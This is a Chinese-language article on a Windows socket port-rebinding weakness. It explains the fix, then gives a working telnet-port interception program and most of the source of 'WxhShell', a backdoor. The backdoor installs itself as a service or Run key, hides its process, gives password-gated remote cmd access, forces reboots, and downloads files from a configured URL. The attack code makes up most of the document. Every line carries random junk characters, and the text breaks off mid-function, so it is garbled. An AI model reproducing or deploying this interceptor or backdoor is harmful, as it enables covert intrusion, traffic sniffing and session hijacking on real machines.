在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
VU[4 W8f s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+(|6Wv JxM[LvVi saddr.sin_family = AF_INET;
cc^ [u+ y=)xo7( saddr.sin_addr.s_addr = htonl(INADDR_ANY);
h!L6NS_Q, zU)Ib<$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4D-4BxN* H_CX5=Nq^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
nmZJ%n y`OL^D4 这意味着什么?意味着可以进行如下的攻击:
06#40- )6
_+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"2'pS<| } QqmDK. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`fRp9o/ dNL<O 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
a5AD$bP Q{0!N8']" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E{Ux|r~ d]*a:>58 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
TE.O@:7Z ZOK,P 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
CF:s@Z+ |4@su"OA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
c)tG1|Og] voHFU#Z$ #include
71# ipZ #include
Cd"iaiTD0 #include
cj!Ew}o40D #include
g}B|ZRz+{ DWORD WINAPI ClientThread(LPVOID lpParam);
Do&/+Ssnu int main()
PnKgUJoa0 {
&~xzp^& WORD wVersionRequested;
Tl9;KE| DWORD ret;
fv",4L WSADATA wsaData;
6HW8mXQh<h BOOL val;
4/Yk;X[jk SOCKADDR_IN saddr;
]8qFxJ+2^ SOCKADDR_IN scaddr;
eBmBD"$ int err;
hZobFf SOCKET s;
G-)Q*p{i| SOCKET sc;
%;r0,lN|II int caddsize;
9"H]zfW HANDLE mt;
;m+*R/ DWORD tid;
0;kp`hB wVersionRequested = MAKEWORD( 2, 2 );
$#/-+> err = WSAStartup( wVersionRequested, &wsaData );
|9F^"7Q~C if ( err != 0 ) {
2C!Ko"1Y' printf("error!WSAStartup failed!\n");
)lo;y~ o return -1;
D# "ppa} }
Z7X_U`Q saddr.sin_family = AF_INET;
wewYlm5@ .cV<(J 5o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gJ8+HV EC4RA'Bg1k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
n!r<\4I saddr.sin_port = htons(23);
POtj6 ?a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q3$AL@". {
jx3J$5 printf("error!socket failed!\n");
cBO.96ZHE return -1;
&pCNOHi| }
6tPgFa#N val = TRUE;
C#r1zr6 //SO_REUSEADDR选项就是可以实现端口重绑定的
Y|NANjEAfm if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
s
9Y'MQo* {
;e>pu"# printf("error!setsockopt failed!\n");
o-))R| ~z return -1;
e7(iMe }
OUd&fUmH //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
DO #!ce //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f+/AD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
DRn]>IFU IwfJDJJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8<Y*@1*j {
W?n)IBj8 ret=GetLastError();
ya<nD '%9 printf("error!bind failed!\n");
z)RJUmY3B return -1;
JFyw,p&xB }
+ti_?gfx listen(s,2);
}W:Rg}v while(1)
@MS}tZ5 {
SpM|b5c5 caddsize = sizeof(scaddr);
c==5 cMUg //接受连接请求
!&$uq|- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&X^ -|7~N if(sc!=INVALID_SOCKET)
{xFgPtCM {
zT\nj&7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[p+]H?(A if(mt==NULL)
(V:z7 {
=V- ^ printf("Thread Creat Failed!\n");
8gQg#^,(t break;
V!Px975P }
ScgaWJ }
xp!MA CloseHandle(mt);
56;^
NE4 }
/Ria"lLv closesocket(s);
% Rv;e WSACleanup();
e;M#MkP7 return 0;
qSg#:;(O }
J<"=c
z$ DWORD WINAPI ClientThread(LPVOID lpParam)
y_>l'{w3^ {
n#2tFuPE SOCKET ss = (SOCKET)lpParam;
^~3u|u SOCKET sc;
@B@`V F unsigned char buf[4096];
"Cj{Z@n SOCKADDR_IN saddr;
qT<OiIMj^ long num;
B<99-7x3 DWORD val;
kq{PM-]l DWORD ret;
")'9:c //如果是隐藏端口应用的话,可以在此处加一些判断
M+7&kt0; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A5UZUU^ saddr.sin_family = AF_INET;
K@JGGgrE`! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
kBh*@gf saddr.sin_port = htons(23);
=bx;TV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m| /?((s {
hU3! printf("error!socket failed!\n");
sew0n`d1 return -1;
K1th>!JW' }
6n|R<DO%\ val = 100;
p;y\%i_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
BHNcE*U}@? {
CAbeb+O ret = GetLastError();
6T?$m7c return -1;
.T2P%Jn. }
pR3@loFQ`o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>@Nn_d {
UJ/=RBfkJ ret = GetLastError();
wWVLwp4- return -1;
%nRz~3X|+v }
9JDdOjqo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
lU`} {
U#qs^f7R printf("error!socket connect failed!\n");
!Ojf9 6is closesocket(sc);
(bX77 Xr closesocket(ss);
]O^C'GzZ return -1;
6m~ N2^z }
4N!Eqw while(1)
/8Sr( {
A-&'/IHR"B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)YtdU(^J$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
?;bsg9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
JO3x#1~;_ num = recv(ss,buf,4096,0);
qg`8f? if(num>0)
SHAC(3o/e send(sc,buf,num,0);
Rk8oshS+2 else if(num==0)
"f
Ni3<x] break;
S [$Os7 num = recv(sc,buf,4096,0);
3pk=c-x if(num>0)
.|VWYN send(ss,buf,num,0);
,\DSi&T else if(num==0)
!,(6uO% break;
8mmHefZ}2! }
J7RO*.O&Iq closesocket(ss);
![ce=9@t< closesocket(sc);
[X\<C '< return 0 ;
~+~^c| }
f\|R<3 L \FL`b{!+ N gG,"wzj ==========================================================
4Odf6v,*@ %>mB"Y, 下边附上一个代码,,WXhSHELL
vNA~EV02 =SUCcdy& ==========================================================
a(s%3"*Q U WU PY #include "stdafx.h"
3G.-JLhs s|O4>LsG #include <stdio.h>
< %t$0' #include <string.h>
V6CRl&ZKO #include <windows.h>
&^I2NpT #include <winsock2.h>
\7d T]VV #include <winsvc.h>
67{3/(`x #include <urlmon.h>
x\R%hGt \Wn0,%x2 #pragma comment (lib, "Ws2_32.lib")
$Lc-}m9n #pragma comment (lib, "urlmon.lib")
}jI=* 4#fgUlV #define MAX_USER 100 // 最大客户端连接数
}vXf}2C #define BUF_SOCK 200 // sock buffer
<CIy|&J6 #define KEY_BUFF 255 // 输入 buffer
@((Y[< mC,: .d #define REBOOT 0 // 重启
a9sbB0q-K@ #define SHUTDOWN 1 // 关机
%u@}lG k 3c|u2Pl #define DEF_PORT 5000 // 监听端口
m35$4 DOa%|H'P #define REG_LEN 16 // 注册表键长度
ukAE7O(W& #define SVC_LEN 80 // NT服务名长度
B=;pwX 7xlarns // 从dll定义API
OngUZMgdb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^rX5C2}G\D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
}TDoQ]P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fhp+Ep!0Y typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VmbfwHRWb b;~?a#Z} // wxhshell配置信息
+p\+15 struct WSCFG {
#$?!P1 int ws_port; // 监听端口
i\yp(tE%^ char ws_passstr[REG_LEN]; // 口令
_KSlIgQ
}0 int ws_autoins; // 安装标记, 1=yes 0=no
@@QB,VS;{< char ws_regname[REG_LEN]; // 注册表键名
\:pd+8 char ws_svcname[REG_LEN]; // 服务名
zir?13N7 char ws_svcdisp[SVC_LEN]; // 服务显示名
^*@D%U char ws_svcdesc[SVC_LEN]; // 服务描述信息
4*Y`Pn@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0%b!ARix int ws_downexe; // 下载执行标记, 1=yes 0=no
UVlXDebl char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ySP%i6!au char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w dpd` F=9-po };
f8vWN c_Fz?R+f?K // default Wxhshell configuration
'0tNo.8K struct WSCFG wscfg={DEF_PORT,
}P(<]UF "xuhuanlingzhe",
0/~20 KD{s 1,
!gX(Vh*k "Wxhshell",
DFvj "Wxhshell",
i[r>^U8O "WxhShell Service",
F./$nwb "Wrsky Windows CmdShell Service",
])vWvNx "Please Input Your Password: ",
T {B\1|2w 1,
s^lm
81; "
http://www.wrsky.com/wxhshell.exe",
U_oei3QP "Wxhshell.exe"
CeD(!1VG };
k>W}9^ cK FrL
;1zt // 消息定义模块
#_9Jam%M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%&\DCAFk char *msg_ws_prompt="\n\r? for help\n\r#>";
X6SqOb\(a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{u@w^
hZ$ char *msg_ws_ext="\n\rExit.";
O[|prk, char *msg_ws_end="\n\rQuit.";
i^_?C5 char *msg_ws_boot="\n\rReboot...";
h5p,BRtu char *msg_ws_poff="\n\rShutdown...";
`ZELw=kLL char *msg_ws_down="\n\rSave to ";
nR#'BBlI - D^.I char *msg_ws_err="\n\rErr!";
+|c1G[Jh char *msg_ws_ok="\n\rOK!";
eGE[4Z ~H\1dCW char ExeFile[MAX_PATH];
NxzRVsNF int nUser = 0;
$QC^hC HANDLE handles[MAX_USER];
/vrjg)fer int OsIsNt;
J,,+JoD lDF26<<\` SERVICE_STATUS serviceStatus;
~X2
cTG!, SERVICE_STATUS_HANDLE hServiceStatusHandle;
ov%.+5 P Y. 1dk // 函数声明
OtD!@GQ6 int Install(void);
F0 ^kUyF| int Uninstall(void);
E
As1
= int DownloadFile(char *sURL, SOCKET wsh);
A>Y!d9]ti int Boot(int flag);
,Jqk0cW2 void HideProc(void);
E*]%@6tH int GetOsVer(void);
gVU&Yl~/^ int Wxhshell(SOCKET wsl);
XJ9bY\>)q1 void TalkWithClient(void *cs);
\[F4ooe int CmdShell(SOCKET sock);
Ey* *j int StartFromService(void);
DX)T}V&mP int StartWxhshell(LPSTR lpCmdLine);
Z2soy- 7\p<k/TS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+'f38D* VOID WINAPI NTServiceHandler( DWORD fdwControl );
'@
C\ ,E pGh A // 数据结构和表定义
3t^r;b SERVICE_TABLE_ENTRY DispatchTable[] =
L?~-<k {
^"hsbk&Yu {wscfg.ws_svcname, NTServiceMain},
"J(7fL$! {NULL, NULL}
.f~x*@ };
Ne 9R
u'B6 '.&z y# // 自我安装
.-W_m7&} int Install(void)
xs ^$fn\ {
ecgGl,{ char svExeFile[MAX_PATH];
ngC|BLT%h HKEY key;
q9`!T4, strcpy(svExeFile,ExeFile);
q,H
0=\
DU.nXwl] // 如果是win9x系统,修改注册表设为自启动
P0N%77p>" if(!OsIsNt) {
zZ\2fKrpg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A! j4;=} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<u9U%Vsi RegCloseKey(key);
%}%vey if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d,0Yi
u.p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r\sQ8/ RegCloseKey(key);
!`-/E']/ return 0;
F6xQ`T| }
!Qd4Y= }
lY_&P.B }
ZZXQCP6] else {
<O#/-r>2 1]lm0bfs // 如果是NT以上系统,安装为系统服务
|( =`l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.5PcprE/ if (schSCManager!=0)
ixFuqPij {
&%/kPF~< SC_HANDLE schService = CreateService
;v? !Pml2k (
ua-cX3E schSCManager,
7k>sE wscfg.ws_svcname,
ou[_ y wscfg.ws_svcdisp,
<r%QaQRbm SERVICE_ALL_ACCESS,
s)~60c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'[h|f SERVICE_AUTO_START,
X)K3X:~L+ SERVICE_ERROR_NORMAL,
5YG?m{hyn_ svExeFile,
f/:XIG NULL,
LOkNDmj NULL,
7TC=$y , NULL,
#sq$i NULL,
;&Oma`Ec NULL
9rn[46s` );
>|[74#}7 if (schService!=0)
MOIH%lpe {
`<C/-Au CloseServiceHandle(schService);
B0^0d*8t|@ CloseServiceHandle(schSCManager);
B0KZdBRx} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mt+IB4` strcat(svExeFile,wscfg.ws_svcname);
0O,l
rF0 ' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4ZK8Y[]Lv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wM;9plYlw0 RegCloseKey(key);
,ij"&XA return 0;
9pKN^FX,76 }
!F*7Mif_E }
O+Fu zCWj CloseServiceHandle(schSCManager);
gRS}Y8 }
i2SR.{& }
,F7W_f#
@3 bb#F2r4 return 1;
!>g_9'n' }
J#7\R':}zl 'ao<gTUbu // 自我卸载
(PjC]`FK int Uninstall(void)
~.99H {
]v&)mK]n=o HKEY key;
w&yK*nBK c5x2FM z if(!OsIsNt) {
6)i4& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c++GnQc. RegDeleteValue(key,wscfg.ws_regname);
N `-\'h RegCloseKey(key);
7e[3Pu_/X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"mlVs/nsyG RegDeleteValue(key,wscfg.ws_regname);
)Qe<XJH! RegCloseKey(key);
77D>;90>? return 0;
#-5.G>8
}
<d89eV+ }
!nh7<VJ }
)Il)
H else {
28,Hd!{
2P3,\L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[B<htD& if (schSCManager!=0)
0c6b_%Rd {
iI T7pq1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
I`k%/ei38 if (schService!=0)
WzD=Ol {
FXMrD,qVg if(DeleteService(schService)!=0) {
{m%]`0 CloseServiceHandle(schService);
g{|F<2rd[m CloseServiceHandle(schSCManager);
]fxYSm return 0;
8@b,>l$ }
M_
* KA CloseServiceHandle(schService);
`sW+R= }
ViZ Tl~ CloseServiceHandle(schSCManager);
zciL'9 }
>6yA+?[: }
90g=&O5@O MZJ@qIg[Y return 1;
vwF#;jj\ }
py\KY R t`F<lOKj // 从指定url下载文件
73C7g<
Mx int DownloadFile(char *sURL, SOCKET wsh)
}EJAC*W, {
w3hG\2)[HS HRESULT hr;
tW$Di*h char seps[]= "/";
^@91BY char *token;
9NXL8QmC8 char *file;
eMT}"u8$A char myURL[MAX_PATH];
hYvWD.c} char myFILE[MAX_PATH];
:~"Dwrui #_(t46 strcpy(myURL,sURL);
Al93x token=strtok(myURL,seps);
"UM*(& while(token!=NULL)
\d:AV(u {
)t?_3'W file=token;
@#u'z~a) token=strtok(NULL,seps);
V1l9T_;f }
rlRRGJ\l 1uwzo9Yg GetCurrentDirectory(MAX_PATH,myFILE);
v%
c-El% strcat(myFILE, "\\");
mMt~4(5 strcat(myFILE, file);
=6YffXa_s send(wsh,myFILE,strlen(myFILE),0);
PI-o)U$Ehv send(wsh,"...",3,0);
cXDG(.!n7B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
g&]n:qx if(hr==S_OK)
#Y_v0.N return 0;
]DJ]L=T7 else
%^qf0d* return 1;
iJaA&z5sr n/
m7+=]v }
7eU|iDYo ^630%YO // 系统电源模块
(?ofL|Cg( int Boot(int flag)
e$Npo<u {
vyhxS .[9 HANDLE hToken;
QnMN8Q9 TOKEN_PRIVILEGES tkp;
$`'%1;y@ Ld4Jp`Zg if(OsIsNt) {
b%_[\(( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+Rq7m] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"k>;K,: tkp.PrivilegeCount = 1;
X/AA8QV o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
vVfIe5+OP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
-.
J@ if(flag==REBOOT) {
2;`F`}BA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<&m
`)FJ return 0;
y%Wbm&h }
gI5Fzk@: else {
<8sy*A?0z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Su>UXuNdE# return 0;
O_^X:0} }
"raC?H }
au?5^u\ else {
U/j+\Kc~ if(flag==REBOOT) {
dk@j!-q^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
.!2Ac return 0;
\0bZ1" }
JQO%-=t else {
) mG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Xxmvg.Nl return 0;
OE8H |?% }
^(.utO }
k<.VR"I
p @'lO~i return 1;
gU%R9 }
fs3jPHZJ# }DzN-g<K // win9x进程隐藏模块
1 GB void HideProc(void)
\EC7*a0 {
hcJny RI0+9YJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-)o0P\cTEt if ( hKernel != NULL )
$8t\|O3 {
Q%Y rm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
67b[T~92o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ATq-&1hs FreeLibrary(hKernel);
>G<.^~o }
5;yVA n%%u0a% return;
4K<T_B/ }
?6>rQ6tBv `mo>~c7 // 获取操作系统版本
mj^]e/s% int GetOsVer(void)
n<3*7/- {
KGq4tlM6 OSVERSIONINFO winfo;
o<f|jGY0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lV)SOs$ GetVersionEx(&winfo);
DNp4U9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
TkjPa};R return 1;
L|pJ\~ else
QU%'z/dip return 0;
:eR[lR^4*
}
Mz:t[rfs ,Y_[+ // 客户端句柄模块
;DN:AgXP int Wxhshell(SOCKET wsl)
OK1f Y`$z {
n?z^"vv$i SOCKET wsh;
AfOq?V struct sockaddr_in client;
u*C"d1v= DWORD myID;
l0g`;BI_ mzoNXf:x while(nUser<MAX_USER)
}N}\<RG {
8QaF(? int nSize=sizeof(client);
y+D"LeCAad wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
%\n&iRwDF if(wsh==INVALID_SOCKET) return 1;
GP._C=] ?c g"&e*fF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~hxo_& if(handles[nUser]==0)
r1!]<= &\ closesocket(wsh);
GP,xGZZ else
eV x
&S a nUser++;
#Ies
yNKZ }
y9'F D5\s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Q`4]\)Dp c-, 6k return 0;
KJLK]lf}d }
ko<iG]Dv' [AHZOA // 关闭 socket
i<% void CloseIt(SOCKET wsh)
I-`qo7dQ_S {
W=)wiRQm closesocket(wsh);
|}y6U< I nUser--;
afWEt - ExitThread(0);
oL69w1 }
UW/{q`) 7Yjxx+X9 // 客户端请求句柄
05>xQx?"m4 void TalkWithClient(void *cs)
FII>6c {
R.+yVO2 *;I F^u1 SOCKET wsh=(SOCKET)cs;
>RMp`HxDf char pwd[SVC_LEN];
r31H Zx1^ char cmd[KEY_BUFF];
\jcEEIEi char chr[1];
gUq)M int i,j;
{=K u9\ d{LQr}_o$$ while (nUser < MAX_USER) {
rH<iUiA?O $CYB&|d if(wscfg.ws_passstr) {
.$,.w__m~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<Gr775" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}nW) + //ZeroMemory(pwd,KEY_BUFF);
,UD,)ZPf[ i=0;
ecI[lB while(i<SVC_LEN) {
E*t0ia8 =>7\s}QZ // 设置超时
bC mhlSNi fd_set FdRead;
vj:hMPC
ZM struct timeval TimeOut;
g}hR q% FD_ZERO(&FdRead);
qt#a_F*rV FD_SET(wsh,&FdRead);
Y=6b oT TimeOut.tv_sec=8;
F
;m1I+; TimeOut.tv_usec=0;
Jc#()4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%Jr6pmc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
= +uUWJ&1G ?+bDFM} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[-bT_X pwd
=chr[0]; vKX
$Nf
if(chr[0]==0xd || chr[0]==0xa) { wPl!}HNf
pwd=0; Qs*6wF
break; M!s@w%0?'
} \q8D7/q
i++; B!hrr
} EPz$`#Sh"
/?; 8F
// 如果是非法用户,关闭 socket _S(]/d(c
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5[Ryc[
} s)e;
c<(/
E!4Qc+.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \c! LC4pE
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3d{v5. C#X
Y.Er!(pz
while(1) { jnK8
[och
kd9GHN;7
ZeroMemory(cmd,KEY_BUFF); Ge|& H]W
1{-W?n
// 自动支持客户端 telnet标准 _cZ`7]Z
j=0; s'V8PN+-
while(j<KEY_BUFF) { R;X8%'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {9<2{$Og
cmd[j]=chr[0]; GLe(?\Ug=
if(chr[0]==0xa || chr[0]==0xd) { *mM+(]8US
cmd[j]=0; dJ#.
m
break; !Cj1:P
} :zC'jceO
j++; m<BL/7
} ,uD>.->
2&W(@wT$
// 下载文件 c?0uv2*Yh
if(strstr(cmd,"http://")) { 3986;>v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6dh@DG*k
if(DownloadFile(cmd,wsh)) #EpDIL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N
b(f
else &/J[P dSb$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mmXLGLMd
} |n;gGR\
else { YZCPS6PuE
O,_2djd
switch(cmd[0]) { NA`3
%8kbX
// 帮助 qFV=Pk
case '?': { =L$};ko
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J,fXXi)J
break; y@AKb
} S{Au%Rs
// 安装 N1I1!!$K;%
case 'i': { [Bp[=\
if(Install()) 5FHpJlFK,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2F*p#l(<Z
else :&dY1.<N+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j>M
'nQ,;d
break; _tQ=ASe0
} /n7F]Ok'*
// 卸载 *?gn@4Ly
case 'r': { "w`f>]YLA
if(Uninstall()) >]=1~sF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I0O)MR<
else Zg7~&vs$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{/C4" F
break; `^s(r>2
} [^W4%S
// 显示 wxhshell 所在路径 fPHv|_XM>
case 'p': { sm}v0V.Js
char svExeFile[MAX_PATH]; M6!kn~
strcpy(svExeFile,"\n\r"); CScM;U=
strcat(svExeFile,ExeFile);
'TV^0D"
send(wsh,svExeFile,strlen(svExeFile),0); qkv.,z"
break; pi5Al)0
} SGH"m/ e
// 重启 IgC)YIhd
case 'b': { 4(&00#Yxg2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =[`wyQe`_
if(Boot(REBOOT)) /'G'GQrr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (@M=W.M#
else { H(]lqvO
closesocket(wsh); bE^Z;q19
ExitThread(0); 2?ZHWS>U
} lw? f2_fi
break; w"-bO ~5h
} /w!b2KwV
// 关机 p&_a kQj
case 'd': { 0(3t#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G4s!q1H
if(Boot(SHUTDOWN)) *E.{i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (EUX>IJ
else { J mFzSR?}
closesocket(wsh); YFLWkdqAY
ExitThread(0); -MHu BgYJ-
} gSu+]N
break; .gT@_.ZD9
} e\.|d<N?
// 获取shell pZGso
case 's': { 5cyl:1Ln
CmdShell(wsh); t2+m7*76
closesocket(wsh); I_#)>%H
ExitThread(0); xzMa[D4(
break; KE YM@,'
} yN~=3b>
// 退出 "6pjkEt4
case 'x': { ;pb~Zk/[,w
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .6$ST Ksr
CloseIt(wsh); u|8`=
break; pa+^5N
} >g93Bj*
// 离开 43:~kCF[s
case 'q': { sj. eJX"z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Um15@p;
closesocket(wsh); 0,m*W?^31
WSACleanup(); yQ+#Tlji
exit(1); m98k/w_
break; EE&~D~yHUL
} yYdXAenQ
} fgl"ox
} YQ37P?u@
Rl3KE)<
// 提示信息 V%ykHo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LAf!y"A#
} 9S6vU7W
} r-Z'
giaO7Qh~
return; P).
@o.xl
} )CdglPK
p$ [*GXR4
// shell模块句柄
6/@ cP/
int CmdShell(SOCKET sock) +-ieaF
{ *i%!j/QDAP
STARTUPINFO si; 348Bu7':
ZeroMemory(&si,sizeof(si)); &R*d/~SU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |.(o4<nx.
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |nD2k,S<?
PROCESS_INFORMATION ProcessInfo; {,s:vPoiA
char cmdline[]="cmd"; 'Q(A5zfN]Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eIof{#
return 0; zq4mT;rqz
} Cn28&$:J
RNX}W lo-s
// 自身启动模式 [.<vISRir
int StartFromService(void) zy$hDy0
{ Z/beROW )
typedef struct h.2!d0j]
{ c}v:X
Slh7
DWORD ExitStatus; S8"X7\d{
DWORD PebBaseAddress; LDPo}ogs
